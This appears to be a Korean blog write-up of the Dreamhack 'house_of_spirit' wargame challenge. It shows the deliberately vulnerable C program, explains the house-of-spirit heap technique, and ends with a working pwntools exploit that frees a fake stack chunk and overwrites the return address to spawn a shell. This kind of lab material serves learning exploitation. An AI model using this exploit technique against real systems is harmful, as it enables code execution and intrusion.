본문 바로가기

Hacking/write-up

(dreamhack)house_of_spirit

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell() {
	execve("/bin/sh", NULL, NULL);
}

int main() {
	char name[32]; //p64(0)+p64(0x61)
	int idx, i, size = 0;
	long addr = 0;

	initialize();
	memset(name, 0, sizeof(name));
	printf("name: ");
	read(0, name, sizeof(name)-1); 

	printf("%p: %s\n", name, name);
	while(1) { 
		printf("1. create\n");
		printf("2. delete\n");
		printf("3. exit\n");
		printf("> ");

		scanf("%d", &idx);

		switch(idx) {
			case 1:
				if(i > 10) {
					return -1;
				}
				printf("Size: ");
				scanf("%d", &size);  

				ptr[i] = malloc(size);

				if(!ptr[i]) {
					return -1;
				}
				printf("Data: ");
				read(0, ptr[i], size);   
				i++;
				break;
			case 2:
				scanf("%ld", &addr);
				printf("Addr: ");
 
				free(addr);   
				break;
			case 3:
				return 0;
			default: 
				break;
		}
	}

	return 0;
}

 

house_of_spirit기법은 원래 heap영역에 할당되는 청크를 원하는 위치에 할당시킬 수 있는 기법입니다.

 

house_of_spirit기법을 사용하기 위한 조건

1. 스택 주소 leak

2. 원하는 주소 free 

 

house_of_spirit 공격 기법

1. 할당을 원하는 위치에 fake chunk를 만든다.

2. (1)에서 만든 fake chunk을 free시킨다.

3. (2)에서 free시켜서 만든 fake chunk 사이즈를 고려하여 malloc해준다.

 

-chunk 구조

32bit에서는 해당 청크가 8byte 단위로 할당(prev_size[4],size[4]), 64bit에서는 16byte 단위로 할당(prev_size[8],size[8])

PREV_INUSE(P) - 현재 청크 바로 이전의 청크가 할당되어 있는 경우 1로 세팅 

 

-gdb로 본 chunk구조

prev_in use 비트가 1로 세팅되어 있는 걸 확인할 수 있다. 이전 할당된 청크가 없지만, 이건 그냥 glibc 2.23 malloc.c 소스코드를 보면, sysmalloc 부분에서 1로 세팅하는 걸 확인 가능하다.(자세하게는 모르겠다..)

 

-house_of_spirit 과정

 

-free함수 동작과정

 

 

-익스코드

from pwn import *
#p = process("./house_of_spirit")
e = ELF("./house_of_spirit")
p = remote("host1.dreamhack.games", 15964)
get_shell = e.sym["get_shell"]

def add(size, data):
    p.sendlineafter("> ", "1")
    p.sendlineafter(": ", size)
    p.sendafter(": ", data)

def free(addr):
    p.sendlineafter("> ", "2")
    p.sendlineafter(": ", addr)

fake_chunk = p64(0)+p64(0x80)
p.sendafter(": ", fake_chunk)
leak = int(p.recv(14), 16)

free(str(leak + 0x10))

payload = "a"*0x28
payload += p64(get_shell)
add(str(0x70), payload)

p.sendlineafter("> ", "3")

p.interactive()

'Hacking > write-up' 카테고리의 다른 글

(dreamhack)string  (0) 2022.06.22
(dreamhack) house_of_force  (0) 2021.08.20
(rarCTF)boring-flag-checker  (0) 2021.08.16
(rarCTF)notsimple  (0) 2021.08.07
(rarCTF)ret2winrars  (0) 2021.08.07